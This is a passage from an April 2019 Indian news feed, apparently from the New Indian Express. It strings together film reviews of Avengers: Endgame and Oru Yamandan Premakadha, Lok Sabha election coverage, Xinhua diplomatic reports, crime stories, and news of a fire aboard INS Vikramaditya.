to rid you of the monotony as enjoyable as it may have been in the past of seeing these characters be and do what we have always cheered them for. Endgame is comfortably the largest assembling of superheroes in the MCU (Captain America saying, Avengers! Assemble! is pure gold). Every significant character we have seen along the way is here. Some like Antman and Nebula even get their due in this film. Theres a joke in the beginning about Antmans seeming insignificance, as Hulk or should I say, Professor Hulk implores people to take an autograph from the former too. The whole time travel idea itself at the heart of this film there, I said it comes from Antman. Superheroes and time travel and a heist What a blockbuster idea to finish off this phase of MCU. The time-travelling really taps into nostalgia we didnt know we had about old Marvel films. Films like Avengers, Guardians of the Galaxy, and Thor: The Dark World play crucial parts in Endgame. This isnt simply about cashing in on nostalgia; this is also about creating new material off it. That assembling scene at the end of the first Avengers film, I doubt you can look at it the same way again. Thats what time travel does, doesnt it? It helps you examine old events in new light, to perhaps try and create new meaning off it. It also looks to tie some knots that have forever been tormenting some of our favourite characters. Tony and his father, Steve Rogers and Peggy, Nebula and Thanos, Thor and his mother Endgame is at an ode to all the previous films, and yet, fiercely its own film. This a stupendous achievement, regardless of any misgivings you may have with any inconsistency in its use of time travel. READ HERE | Tamilrockers does it again, leaks Avengers Endgame online two days before release This film is a treasure-trove for those of you who remember the old films in great detail. For those who have watched all the old Marvel films in anticipation of this film, the Endgame is Russo brothers tipping their hats off. Two lines from Captain America: I could do this all day and Hail Hydra!, make for two of many terrific callbacks in this film. Tony Stark references Ultron, Natasha and Clint debate their dark past Theres a constant attempt to tie all the old films together. The most moving of them all concerns the last song used in the film. Theres great tenderness at the heart of Endgame. Steve Rogers casting a longing gaze at Peggy, Thor desperately trying to save his mother, Tony Stark willing to risk life with his one child for the opportunity to save another Peter Parker Theres a lot at stake, the universe is in a state of shock and loss. Avengers: Endgame poster. (Photo | Twitter) This is why the tone of Endgame isnt one of celebration; its one of meditation. In a sense, like Thanos after his snap. Professor Hulk may try to be leading a cheerful existence, posing for photographs with people who say, Green!, but this is less him being genuinely chirpy, and more him overcompensating for regret and loss. You could say the same about Thor too. Theres the underrated humour of other films here too, but the sheer weight of the loss and the task ahead weighs heavily. Curiously though, despite all this emotional strength, at least one death doesnt feel as tragic as it should. This is perhaps less a flaw of this film than it is MCUs for not developing a character or two substantially over previous films. And now, we come to the central conceit: time travel. Its fun, nostalgic, and even poignant, but the jurys out on the rules and the consequences. Endgame suggests that multiple, divergent timelines get created each time the past is tinkered with, but as with many other time travel films, paradoxes are, as Thanos would say, inevitable. Be ready over the next few days to have people try to make sense of it all. Some will rubbish it, some will justify it, but this is very much the fun of time travel films. This is also why Professor Hulk warns us at the outset that we shouldnt really be going all nerd on it. READ HERE | Avengers: Endgame prediction - who will survive and who wont? Its been more than ten years since the first MCU film came out. During this long, long time, some characters, like Iron Man, have moved from self-interest to selflessness. Some others, like Captain America, have undergone the opposite journey. Ultimately, its about balance, as Thanos so dearly loves to point out. Much like Infinity War, this film too treats Thanos with much dignity. His existential sadness towards the end, almost draws empathy. The Russo brothers refuse to humiliate him, or his ideology, and at the beginning, theres even the sense that his snap an event come to be known as The Decimation could well have the world a better place, in the larger scheme of things. Dolphins are spotted again, the water has got cleaner. But no matter how well-intentioned, mass murder cannot be condoned, of course; and this, Thanos has always viewed to be a weakness. The next phase of MCU will come up with new superheroes, new problems, and it may well be that another Thanos is inevitable, as he loves to point out. For the moment though, lets savour this largely satisfying conclusion. Its been a long, long time, and its only fitting that Captain America and Peggy should dance their much-delayed dance to this song: Since I can't remember when; It's been a long, long time; You'll never know how many dreams; I dreamed about you. Film: Avengers: Endgame Director: The Russo brothers Cast: Chris Evans, Robert Downey Jr., Scarlett Johansson, Chris Hemsworth Rating: 4 stars (This story originally appeared on cinemaexpress.com) Sajin Shrijith By Express News Service Oru Yamandan Premakadha. Its only after youve seen the film that you get the significance of such a title. Im not sure Ive seen a love story like this before. It presents a fresh concept, sure, and yet, everything else feels so familiar in Dulquer Salmaans return to Malayalam cinema after two years. Its a film that utilises Dulquers charm to the fullest. Its his character Lallus story. Its about his quest to find his soulmate after seeing her photograph in a newspaper a girl whom he has never met. It may seem far-fetched to the ordinary guy, but Lallu is no ordinary guy well, he is and he is not. Let me explain. This is a man who was born in a privileged household but prefers hanging out with boys who come from economically backward families, much to his barrister fathers (Renji Panicker) chagrin. Lallu wants to live like a simpleton. This is why he chose to become a painter (of homes), unlike his white-collar younger brother. He also has a love for all things old. He has a nostalgia disease, remarks one character. He enjoys sipping tea in an ordinary tea stall while listening to a song by Johnson master. But he also doesnt mind shaking a leg to a dappan kuthu number. He is a new age dude with a vintage soul. His problem, according to everyone around him, is his refusal to get married in spite of every girl in the neighbourhood lining up to marry him. One of these girls is played by Samyuktha Menon. But Lallu simply hasnt found anyone with that spark yet... that is, until he stumbles upon the aforementioned girls photograph. This film belongs to Dulquer and Dulquer alone. As Lallu (his real name is revealed in the climax), Dulquer is eminently endearing. Lallu is the most fleshed-out character in the entire film. You wish you had someone like that as your friend. But that alone doesnt do much when the overall script is not up to par. Though some jokes are quite clever, they dont stick with you. The two lead female characters dont have much to do other than show up now and then. Considering the caliber of the actors playing them, one wishes they were cast in stronger and more substantial roles. The makers have kept the name of the second female lead a surprise, and there is a good reason for that. The name of the actor playing the villain is also a surprise. Though this actor is playing a baddie for the second time, its just another stereotypical performance. Its his presence that leads to a pivotal emotional moment in the second half. This half is supposed to move you, but it doesnt affect you the way you want it to because of the unconvincing build up. Oru Yamandan Premakadha is yet another addition to a list of Malayalam films that are trying hard to emulate Tamil and Telugu entertainers. Its also filled with a lot of familiar cliches. There are moments that feel like they were written to pander to a certain section of the audience. In one scene, a Bengali character is mocked and in another, a tribute to the two reigning Malayalam superstars is paid. Soubin Shahirs character reveals himself to be a fan of Allu Arjun. At one point, two characters run into a Che Guevara poster. But thankfully, there are no wedding songs in this one. That should offer some relief. Film: Oru Yamandan Premakadha Director: BC Naufal Cast: Dulquer Salmaan, Samyuktha Menon, Soubin Shahir, Salim Kumar Chinese President Xi Jinping (R) meets with Egyptian President Abdel-Fattah al-Sisi, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with Egyptian President Abdel-Fattah al-Sisi, who is here to attend the Second Belt and Road Forum for International Cooperation. As Egypt is the rotating chair of the African Union, President Sisi's attendance at the forum not only reflected Egypt's sincere involvement in the Belt and Road Initiative (BRI), but also represented the common wish of African countries for win-win progress and common development, Xi said. Xi called on the two sides to strengthen political mutual trust, and continue to support and coordinate with each other on issues involving respective core interests and major concerns. While highlighting China's willingness to participate in the Suez Canal Corridor development plan, Xi also said that the two sides should deepen anti-terror and security cooperation and continue to enhance people-to-people and cultural exchanges. China supports Africa's integration progress, and is willing to work with Egypt to jointly enhance infrastructure construction in Africa, Xi said. Sisi said that Egypt is willing to learn from China's successful experience in development, align the country's development plan with the BRI, and deepen cooperation in a wide range of fields. Egypt appreciates China's efforts in upholding justice in the Middle East issue, and hopes China will continue to play a constructive role, he said. By Bloomberg The BJP has trained over 11 lakh workers on ways to influence citizens to vote for it during the ongoing Lok Sabha elections. The trained pro bono cadres have fanned out across the worlds seventh-largest landmass to contact voters and educate them about Prime Minister Narendra Modis programmes and policies, P. Muralidhar Rao, a general secretary of the party, said in an interview. They have been discussing issues ranging from the economy to national pride and identity politics. No other party has this kind of strength, said Rao, whos also in charge of training the workforce. Our cadres are ideologically motivated and driven. They are our main force. Modis government, which has been criticized for failing to create enough jobs and reduce distress in the agriculture sector, has been trying to weave its narrative around the prime ministers strong and decisive" action in tackling security issues. Modis authorization of airstrikes on Pakistan in response to a deadly attack in Kashmir has been a recurrent theme in poll speeches by the BJPs leadership. It is also counting on the welfare programs - including the provision of toilets, electricity connections and cooking gas for the poor - to woo voters. FOLLOW OUR ELECTION COVERAGE HERE The workers have been trained about the partys ideology, Rao said. They have also been educated on how to reach out to the deprived section of the society, manage journalists and devise social media strategies, he said. This pool of trained party workers have grown five fold since the 2014 polls, Rao said. The BJPs membership has crossed 110 million, making it the worlds largest political party, according to Rao. The program called the Pandit Deendayal Upadhyaya Prashikshan Mahabhiyan has books that refer to China being a challenge to Indias interests as part of its curriculum, the Economic Times reported. Its leaders have been highlighting the Indian Air Force's February 26 air strikes on a terrorist training camp inside Pakistan - to stave off a challenge from main opposition Congress party led by Rahul Gandhi, which has pledged jobs and as much as 72,000 rupees annually for the countrys poor. By PTI SIDHI: Stressing that the law was equal for all, Prime Minister Narendra Modi said even his residence should be raided by Income Tax department if he was involved in any wrongdoing. The Income Tax Department recently conducted raids on close aides of Madhya Pradesh Chief Minister and Congress leader Kamal Nath. The Central Board of Direct Taxes had said the department has also detected a trail of Rs 20 crore suspect cash allegedly being moved to the "headquarters of a major political party in Delhi" from the house of an important person who lives on Tughlaq Road, home to many VIPs. FOLLOW OUR FULL ELECTION COVERAGE HERE Addressing a poll rally here, Modi said that in the Congress culture, corruption was the "only protocol". Targeting the Congress on corruption, Prime Minister Narendra Modi Friday said the party committed the "Tughlaq road election scam", whose money was being used for the poll campaign of its chief Rahul Gandhi. "The food meant for children and pregnant women under a government scheme was snatched from them. The money was siphoned off to Tughlaq Road residence of a Congress leader in Delhi," Modi said. "That money is being used for the poll campaign," he said, attacking Gandhi. Modi also said money disbursed by the Central government for farmers in Madhya Pradesh under its schemes was yet to reach the beneficiaries. He accused the Kamal Nath dispensation in the state of not sharing with the Centre the list of farmers requiring the help. Taking a jibe at the MP chief minister, Modi said perhaps Kamal Nath was "too busy" to share the list with the Centre due to his Switzerland visit and political grooming of his son. The prime minister also expounded pro-farmer and pro-women measures his government took. Modi said Karnataka Chief Minister HD Kumaraswamy had insulted soldiers with his reported remark that only those who cannot manage two square meals a day seek jobs in armed forces. He also took potshots at "those from the opposition parties aspiring to become the next prime minister". They have already ordered their tailors for new attires, he added. Modi asked the people who from among the opposition wanting to become the PM can wipe out terrorism. When they replied chanting his name, he said it not him but their "one vote" that would combat terrorism. By PTI AHMEDABAD: A 20-year-old college student, who was allegedly gang-raped by four men in July last year, died of medical complications Thursday, following which two of the accused have been arrested, police said. Ankit Parekh (24) and Chirag Vaghela (23), a college student, were held Friday, said inspector K S Dave of Ramol Police Station. Deputy Commissioner of Police Akshayraj Makwana said the woman, adopted by a family when she was an infant, was allegedly raped by four men in July 2018. Because of fear and trauma, she did not tell her family about the rape until last month. When she realised that she had become pregnant because of the rape, she told her family about the incident and they approached police last month, the DCP said. The woman told police that she had been raped by `Hardik', `Ankit', `Raj' and `Chirag' whose full names she did not know. "The woman took some pills to terminate the unwanted pregnancy and as a result she gave birth to a stillborn child and fell ill. She died at a hospital yesterday due to health complications," Makwana said. From the woman's statement, police first identified Hardik Shukla as one of the accused, he said. Chirag Vaghela and Ankit Parekh were identified and arrested Friday. Shukla and `Raj' were yet to be traced, the police officer said. Police raided several places across the state while hunting for Shukla but he remained elusive, the DCP said, adding that they have taken his parents' DNA samples to check if he was involved in the crime. By ANI PATNA: A case was registered against Union Minister and BJP leader Giriraj Singh on Thursday at Begusarai police station for violating the model code of conduct by making controversial remarks against the Muslim community. This comes in response to Singh's statement where he demanded the Election Commission (EC) to impose a ban on the use of green flags, associated with religious and political bodies of Muslims. He alleged that the green flags not only spread hate but also create a perception of being used in Pakistan. In his complaint to ECI, the complainant alleged that Singh's remarks hurt the sentiments of a section of a minority group. The FIR was lodged under sections 125 of the Representation of People Act and 153 A, 295A, 171C, 188, 298, 505 of the Indian Penal Code. FOLLOW OUR FULL ELECTION COVERAGE HERE "I would like to say, Giriraj Singh's ancestors died and were cremated. You need a yard of land even after you die, for the burial of your mortal remains. If you say you cannot chant Vande Mataram, this nation will never forget you," Griraj said in an election rally here where BJP chief Amit Shah was also present. RJD leader and former Deputy Chief Minister of Bihar Tejashwi Yadav on Wednesday had said Singh's demand to ban "green flags" is an insult to the tricolour (Tiranga). "This is an insult to the tricolour. The green colour is there in Tiranga too," he said while talking to reporters here. "One ideology, one thinking cannot be forcefully imposed on everyone. I don't like the name- Giriraj Singh. Change the name," he had quipped. The RJD leader alleged that the BJP is not talking about farmers, youth, jobs and other issues. "What kind of politics is this?" he had asked. Lok Sabha polls in 14 out of the 40 seats at stake in Bihar were conducted in the first three phases - on April 11, 18 and 23. Harpreet Bajwa By Express News Service The BJP will fight the Lok Sabha elections in Haryana on the issue of good governance and national security, says Haryana Chief Minister Manohar Lal Khattar in an interview to Harpreet Bajwa. Excerpts. What are the issues in the ongoing elections? There are many. First and foremost is good governance and we have laid the foundation for it. The first good governance day was celebrated on December 25, 2015. All the works done by the Union and the state government are worthy of mention, especially the emphasis on e-governance. The other important issue is national security. Will the recent Balakot air strike and surgical strikes benefit the BJP? They are bound to impact the thinking of people just as 1971 helped Indira Gandhi in the elections afterwards. FOLLOW OUR FULL ELECTION COVERAGE HERE The Opposition accuses the BJP of raising the issue of air strikes to deflect attention from real issues such as unemployment? No, we have been raising all issues. Its they who are afraid of it. We speak of economic development, Make-in-India, start-ups, industry, ease of doing business etc. They are stuck on this one issue as there is a fundamental difference between them and us. We want to scrap Article 370 in Jammu and Kashmir but they say in their manifesto that they will not... These are big issues. It is said your government failed to control the Jat agitation and the violence after Dera Sacha Sauda chief Gurmeet Ram Rahim was convicted. Will these two big law and order issues impact the Lok Sabha elections? There were three such issues in the state: first was of Sant Rampal, hardly seven days after our government was formed. The court directed us to produce him. As asked, we took him out of his den (cave) from Barwala. Is this our achievement or failure? In the Jat reservation agitation, we agreed to their demand to give them 10% reservation and still, they went on with the agitation... In two days we controlled the situation In Dera Sauda episode, more lives could have been lost but we handled it in a way that Gurmeet Ram Rahim came out of his Dera. What is your stand on Khaps and their diktats? There is a misconception about Khaps. One should research and study them properly. The Khap system is 700 years old. In a democracy, Khaps cannot work like courts as they use to do in earlier times, but they have always been a significant contributor in resolving social issues The BJP as a policy has decided not to waive off farm loans. Will it not affect you politically in elections? We want that every section of society should benefit from income increase due to better financial management. Loan waivers have gone on for years. The PM wants, that by 2022 the income of farmers should be doubled. When my government came to power the compensation was Rs 5,700 per acre. We increased it to Rs 12,000 per acre and Rs 6,000 per year is now given for seeds and other small expenses and the interest has been waived off. By IANS GUWAHATI: In what could be described as post-poll violence in Assam, two journalists have been targeted by unidentified miscreants in two separate incidents in the state. Late on Thursday, while the correspondent of a local newspaper, Rajen Deka, was attacked and injured seriously by miscreants at Mukalmua in Nalbari district, Upasana Barua Goswami of News18 Assam/Northeast was physically assaulted in Tinsukia town of eastern Assam. Deka was reportedly thrashed by some individuals at Mukalmua, who cited one of his recent media reports. Polling for the 14 Lok Sabha seats in Assam has taken place in three phases with the final phase being held on April 23. Assam Chief Minister Sarbananda Sonowal said on Friday that the state government is committed to the safety and security of journalists. He described the attack on the two media persons as highly condemnable and said the state government would take strict action against the perpetrators. Sonowal also directed Assam Director General of Police (DGP) Kuladhar Saikia to take immediate steps in this regard. The Journalists' Forum Assam (JFA) has expressed serious concern over the attacks and urged the authorities to take stringent action against the culprits. "We reiterate our old demand for a special protection law to safeguard the scribes across India. Moreover, we urge the media fraternity to get united and pursue quality journalism as it becomes the need of the hour," said a statement issued by JFA President Rupam Barua and Secretary Nava Thakuria. Meanwhile, the state police have arrested at least four persons in this connection and are continuing their investigations, sources here said. By PTI THANE: A 52-year-old man allegedly stabbed his estranged wife to death and assaulted his daughter over some argument at Kalyan town in the district, police said on Friday. The accused, Mohan Gurunath Mahajan, an autorickshaw driver, has been booked for the crime that took place on Thursday night, police said. According to police, the Mahajan family lived in Thankar Pada locality in Kalyan. Over the past few years, there were differences between the couple and they used to argue over minor issues. Two years ago, the accused abandoned his family and started living separately, police said. "On Thursday night Mahajan came to meet his family. Soon, he entered into argument with his wife Manisha (45). In a fit of anger, he stabbed her several times with a sharp weapon. He also attacked his 24-year-old daughter before fleeing from the spot," a police officer said. The two women were rushed to a neaby hospital, where the wife of the accused was pronounced brought dead, police added. Mahajan, who is yet to be arrested, has been booked under IPC sections 302 (murder), 307 (attempt to murder) and 326 (voluntarily causing grievous hurt by dangerous weapons or means), police said. By UNI DALTONGANJ: With barely 72 hours to go for the Palamu Lok Sabha elections, the CPI(Maoists) ultras made their presence felt by detonating a bomb and destroying the BJP's election office in Harihargunj and setting on fire equipment involved in a bridge construction work. The ultras executed a bomb blast at the BJP's election office located at old bus stand in Harihargunj midnight last night. Despite the spot being located on the NH-98 and barely 400 meters from the police station, policemen did not visit the sight in the night suspecting an ambush by the Maoists. The ultras before leaving the spot, located on the bordering areas of Jharkhand and Bihar, shouted slogans. Later the group reached Turi village under Harihargunj Police Station area and torched a generator, a mixture machine and the shed of the labourers where a bridge was being constructed at Batane river. The ultras also threw pamphlets asking people to boycott the elections. Meanwhile, police teams have reached the spot and have started investigating. Palamu is among the three constituencies of Jharkhand where polling would be held on April 29. The other two are Chatra and Lohardaga. By Online Desk Young Derek C Lalchhanhima, who became an internet sensation for rushing his neighbour's chicken to the hospital after accidentally running over it with his bicycle has been awarded for his compassionate act by PETA India. Unaware that it was too late to help the bird, the boy went to the hospital alone with the chicken in one hand and a ten rupee note in the other. The picture, which has been celebrated as a model of humanity and kindness, received praises from social media users. PETA India acknowledged his action with the Compassionate Kid award for being an inspiration to other children. Developing empathy for animals is a key step towards developing empathy for and rejecting violence against all beings, including humans. Its important, therefore, that students learn at an early age that the animals with whom we share this planet are, in many ways, not so different from us, PETA India said in a statement. The photo appeared on the social media platform when a user called Sanga Says shared the boy's picture explaining his story. "As per Reports: This young boy from Sairang, Mizoram, accidentally ran over his neighbour's chicken. He took the chicken, ran to a nearby hospital and with all the money he had, asked for help. (I'm laughing and crying all at the same time)." he wrote. Soon messages of love and affection started pouring in for the boy as more and more people shared the photo. Later, Sanga told media that the boy's father is a friend of his. He said that the boy came home with the chicken after hitting it, asking his parents to take it to the hospital. The parents were reluctant to tell the child the chicken was dead and asked him to go to the hospital by himself if he wanted. To their great surprise, the emotional boy did so without any hesitation after grabbing all the money he could - a ten rupee note. ALSO READ | Boy, 6, wins hearts for rushing chicken to hospital after running over it The surprised hospital staff asked the sobbing Derek to return home. But he once again decided to set out to help the bird, this time with Rs 100 when his parents finally explained to him that there is nothing he can do. Social media users are celebrating the boy's kind gesture and raining accolades on him. Here are some of the responses. Meanwhile, Sanga later posted another photo of the boy holding a certificate and announced that Derek was honoured at his school for his kind act. "No man knows the value of innocence and integrity but he who has lost them." By Online Desk Former RBI Governor Raghuram Rajan during a recent interaction said that he is not interested in joining politics nor does he intend to float any political party as it will hamper his otherwise peaceful family life. Rajan, a renowned financial pundit and a former chief economist at the International Monetary Fund (IMF), spoke to the Mint about the challenges and dispensation awaiting the next Union government. The ex-RBI governor spoke about Nyunatam Aay Yojna or NYAY proposed by the Congress, and the Modi government's success. Rajan was in Chennai attending a board meeting of Krea University, where he is a member of its governing council. First, my wife has said she will not stay with me if I join politics Politics everywhere is similar. It is not particularly noisy or whatever, I dont have any taste for it. Somebody else can give the speeches and gain the votes, Rajan said when asked if he has something against joining politics. He further said he will not be floating a party. My writings are all out there, you know my views. The point is I have no interest in politics. Absolutely none. "I am happy where I am", said the 56-year-old, putting all speculations to rest that he will be appointed a minister if Congress comes to power. Thats too many steps, too far. Unfortunately, given the kind of work that I have done here, there is an expectation that my primary function is in the public arena. No, my primary job is academic. I like the job. I am a reasonably engaged academic. I have written a book recently (The Third Pillar) which is more intellectual than polemic. So given all that, I am very happy where I am, Rajan said. Rajan stated he will also be happy to assist in some useful way. I am happy to do it. Sometimes people want advice, and Im happy to do it. We have not moved the needle unlike what was anticipated", he said speaking about the incumbent BJP government. It may be good enough to keep going, 7% is nothing to be sneezed at. Then is it 7% with or without jobs? That is another issue. The underlying theme is that growth has some concerns. Have we changed the kind of economic framework for the world of tomorrow? Id say no. Id say this is pretty much the framework we had for a long time. However, Rajan said that the government's success has to be measured carefully. There is continuity in governance. NDA looks a lot like what UPA did emphasised the same thing like GST, Direct Benefit Transfer, Aadhaar. If you tick off all the reforms that have been done, there is a continuity in that. The question again is, is that good news? It goes back to, can we afford the average? And the job situation would suggest that we really need to think about do we need a reboot, he pointed out. The former RBI governor said that whether the same government retains power or a new one comes in, the challenges are the same - reforms, mechanisms to tackle economic challenges, and jobs - will be no 1 for any new government." It is not that there are no jobs, there are no good jobs. Do we have the economic apparatus to enable us for the next phase of growth? Do we have research forces in various universities that are gonna help industries become a force? I have not seen that, Rajan said. Are we investing in areas of those researches are also not clear. Electric batteries for example. Are we able to take up the jobs that are leaving China? Id argue, anecdotally, that investors prefer coming to Vietnam, or even some times Bangladesh, than here. So, jobs will be no 1 for any new government, he added. The country needs structures around the market to help people live productive lives," Rajan said when asked whether Congress' NYAY scheme is a better avenue to transfer cash than welfare schemes. The broader point about direct income transfers, which both NDA and UPA have agreed on, is that it can empower people. That doesnt mean in every place the government will open a medical dispensary for the people to be able to buy. But once they have money power, people can go to private dispensary set up. And now that people have money to buy, the medicine is actually there. This is how they will evolve. It is not just about what it will do today, he said. Lets push more powers and funding down to the community so that they can actually respond. Some of these direct income transfer schemes are a way of pushing more power directly to the people. Of course, the devil lies in the details. You have done attempts of poverty alleviation for so many decades, with very limited results. So we should experiment, carefully, he said. This has negative effects on the family, especially when you used to have those jobs and you dont have now, he said, referring to the absence of good middle-class jobs. They (people) are getting very angry because they are slipping on social security. Chinese President Xi Jinping (R) meets with Hungarian Prime Minister Viktor Orban, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with Hungarian Prime Minister Viktor Orban, who is here to attend the Second Belt and Road Forum for International Cooperation. Noting China and Hungary established a comprehensive strategic partnership in 2017, Xi said that the bilateral relations have entered a new historical stage. This year marks the 70th anniversary of diplomatic ties between the two countries, and China looks forward to working with Hungary to push forward the comprehensive strategic partnership to a new height, Xi said. The two countries should maintain high-level exchanges, enhance mutual respect and trust, step up practical cooperation and broaden people-to-people and cultural exchanges, he noted. Xi called on the two sides to implement cooperation projects under the framework of the Belt and Road Initiative (BRI), such as the railway line between Hungary and Serbia. He hopes that Hungary will play a greater role in promoting cooperation between China and Central and Eastern European Countries (CEECs). The prime minister said Hungary's future largely depends on its relations with China and the country firmly believes that China will play a more active role in the complicated and ever-changing world. The BRI is not a threat, but an opportunity, said Orban, adding that Hungary firmly supports the initiative and actively participates in Belt and Road construction. Hungary is willing to promote the overall development of Europe-China relations through the China-CEEC cooperation platform, said Orban. Amit S Upadhye and Arunkumar Huralimath By Express News Service KARWAR, HUBBALLI: Just days before it was to take part in a naval exercise with the French Navy off the west coast, an accidental fire broke out on Indias only aircraft carrier INS Vikramaditya off the Karwar coast on Friday morning, claiming the life of a naval officer and leaving nine personnel injured. They are being treated at the INHS Patanjali hospital in Karwar where the condition of five of them is said to be critical. Lieutenant Commander D S Chauhan (30), who was the head of fire and safety, died dousing the flames. He was rushed to the naval hospital but could not be saved. Chauhan, who hailed from Ratlam in Madhya Pradesh, got married last month and had returned to the Karwar base just a few days ago. He joined the Indian Navy on December 24, 2012. ALSO READ | Fire accidents on warships a big worry, say experts Lt Cdr D S Chauhan, who was fighting the fire, suffered loss of consciousness owing to smoke and fumes during the firefight. He could not be saved. The condition of some of the injured is critical and they are being treated in the same hospital. The reason for the fire is yet to be ascertained and an inquiry has been ordered into the incident, said a naval officer. The fire was first noticed in the engine room and boiler compartments of the aircraft carrier when it was returning to its mother base in Karwar after patrolling duties on the western front in the aftermath of the Pulwama attack. The vessel was supposed to take part in India-France joint naval exercise from May 1 to 6. As of now, there is no clarity on whether Vikramaditya will take part in the joint exercise. Sources in the Navy told TNIE that the vessel was docked near INS Kadamba Naval Base on Friday when the fire broke out. Even as the fire-fighting exercise was underway, it was pulled towards the Karwar harbour. Many passersby, who noticed thick smoke coming from the vessel, stopped their vehicles to have a look. However, they were cleared from the road by naval security personnel. There has been a fire incident onboard INS #Vikramaditya this morning when the ship was entering harbour in Karwar. It was brought under contr swiftly. But Lt Cdr DS Chauhan lost his life in the firefighting efforts. @NewIndianXpress @santwana99 @indiannavy pic.twitter.com/h8NmhGgksH TNIE@Bengaluru (@XpressBengaluru) April 26, 2019 Soon after the accident, a release issued by the Indian Navy stated that the fire was brought under control by the ships crew in swift action, preventing any serious damage to the ships combat capabilities. A Board of Inquiry has been ordered to investigate into the circumstances of the incident has been ordered, it said. This is not the first time there has been an accident on the carrier. In June 2016, a Navy sailor and a civilian died after inhaling toxic gas during maintenance work on the vessel at Karwar base. The 44,400-ton carrier was commissioned in the Indian Navy in 2013 and is manned by over 1,600 officers and sailors. Mayank Singh By Express News Service NEW DELHI: The Indian Army plans to build four stealth tunnels along the borders with China and Pakistan to store sensitive ammunition. The Army and public-sector firm National Hydroelectric Power Corporation (NHPC) signed a Memorandum of Understanding to this effect on Thursday. The storage capacity of each tunnel will be 175-200 tonnes. Three tunnels will be built along the Northern borders and one along the Western borders. Talking to TNIE, an officer said, These will be caves and shafts, which will be both horizontal and vertical and will be able to handle vehicles that will carry and stockpile the sensitive ammunition. This will be a pilot project to be completed in two years. If the project succeeds, there are plans to increase the number of such structures along the borders. The ammunition at present is stored in open dumps exposed to weather conditions. The deliberations for the project started in 2018 and a detailed report was presented to the Army, which was found cost-effective. The total cost of the project is Rs 15 crore. The tunnels will be made using folds of the mountains, which will keep the ammunition like missile, rockets, artillery shells and other sensitive ammunition away from enemy surveillance and targeting. The Army had earlier tried to build such tunnels but could not succeed as problems of dampness and seepage cropped up. NHPC has been roped in because of its expertise in tunnelling. China and the US are known to have such tunnels. Stealth chambers: It is quite difficult to move heavy equipment in mountainous areas bordering China due to lack of smooth roads. While the proposed stealth tunnels will strengthen Indias defensive capabilities, they will also protect the ammunition and other stored equipment from air strikes. Besides, the surrounding mountains will function as a shield that will protect the tunnels from being detected by enemy satellites Harpreet Bajwa By Express News Service CHANDIGARH: In an apparent reference to Sunny Deol's popular war film, 'Border,' Punjab chief minister Capt Amarinder Singh said the actor who recently joined BJP was just a filmi fauji with no ground support in Gurdaspur. Furthermore, the CM dismissed any threat from the actor contesting on BJP ticket against Punjab Congress president Sunil Jakhar in the constituency. Speaking to the press, Singh quipped, "He (Sunny Deol) is a filmy fauji, while I am a real fauji. We will defeat him, he is no threat to Sunil or the Congress," he declared. Singh was accompanying Sunil Jakhar for filing his nomination papers as the Congress candidate from Gurdaspur. ALSO READ: Punjab CM Amarinder Singh says Congress will sweep polls in state "Sunny might have played 23 Punjabs Brigadier Kuldip Singh Chandpuri in Border but that does not make him a real fauji," he said. When pointed out that Sunny Deols latest movie 'Blank' was set for release, Amarinder further retorted, He will draw a blank (in the elections). The mood in Gurdaspur is totally upbeat, in favour of @sunilkjakhar whom I accompanied today for filing of his nomination papers as @INCIndia candidate. Clearly, @INCPunjab is well set to sweep the constituency at the back of the work done by my govt in the past two years. pic.twitter.com/CPv6FbkQgY Capt.Amarinder Singh (@capt_amarinder) April 26, 2019 He rejected the possibility of Sunny Deol posing any serious threat to Sunil Jakhar in Gurdaspur, saying Sunil has been working on the ground in Gurdaspur while Deol had no locus standi there. Sunny Deol will run away, back to Bollywood, and not be there for the people of Gurdaspur, he added. ALSO READ: 'Starry eyed' Gurdaspur awaits Sunny Deol Earlier accompanying his wife and Congress candidate from Patiala, Preneet Kaur, to DC office for the filing of her nomination papers for the Lok Sabha elections. Amarinder said that in the absence of any Modi wave, and with no achievements to boast, the Bharatiya Janata Party (BJP) was in a state of complete regression and would be ousted from power. FOLLOW OUR FULL ELECTION COVERAGE HERE "We will win for sure, we will win all the 13 seats, including Bathinda (from where Harsimrat Badal and Ferozepur from Sukhbir Badal are contesting for Shiromani Akali Dal), he said. The mood in Punjab was completely changed from what it was in 2014, he said further adding that Rahul Gandhi would definitely be campaigning in the state, though the dates and venues were yet to be decided. By IANS MUMBAI: His party may not be contesting the ongoing Lok Sabha polls but Maharashtra Navnirman Sena (MNS) chief Raj Thackeray has ensured significant attention as he campaigns in Maharashtra against the BJP and its ally Shiv Sena. So far, he has addressed around a dozen rallies in different parts of the state and his prime targets of attack are Prime Minister Narendra Modi and BJP President Amit Shah, at whom he takes embarrassing potshots. In his campaign, which goes to favour the Opposition Congress-NCP combine, Raj Thackeray has introduced a hitherto-unseen experiment of an audio-video element which punctuates his hard-hitting speeches. "The response we are getting is tremendous. Even people in other states want Raj saheb to hold such rallies. There's nothing new in the content, but we are putting things in the correct perspective which has caught the public psyche," MNS spokesperson Nitin Sardesai told IANS. ALSO READ: Post Election Commission snub, Raj Thackeray finally gets nod for Mumbai rally In the meantime, videos of Raj Thackeray's rallies are now being translated, dubbed or subtitled in various languages. The MNS was floated by Raj Thackeray in 2006 after parting ways with the Shiv Sena due to differences with his cousin Uddhav Thackeray. In the 2014 Lok Sabha elections, the party had fielded nine candidates in Maharashtra but none of them won.In 2009, the MNS polled 4.6 per cent of the total votes. Raj Thackeray's rallies, despite there being no MNS candidate in fray this time, have not gone unnoticed, either by the ruling BJP-Shiv Sena or the Opposition Congress-NCP coalitions. ALSO READ: NCP dares government to conduct raids at Raj Thackeray's home Chief Minister Devendra Fadnavis has compared him to someone "dancing uninvited in a wedding." However, seething ally Shiv Sena President Uddhav Thackeray took a feather out of his estranged cousin's hat by playing an audio-video tape at a couple of his rallies on Rahul Gandhi's comments on Veer Savarkar. BJP state spokesperson Shain N. C. dismisses Raj Thackeray's rallies as "inconsequential" since he's not even in the electoral fray. "The audio-videos need to be authenticated. Remember, it's the same Raj Thackeray who once praised PM Modi. So now his credibility is questionable," Shaina told IANS. She added that the voters will realize the difference between the time-tested party BJP and the "cheap gimmicks indulged in by the likes of Raj Thackeray. We have a lot to say, but will do it at the appropriate time," she said. ALSO READ: Raj Thackeray slams PM for not speaking on jobs, women's safety, 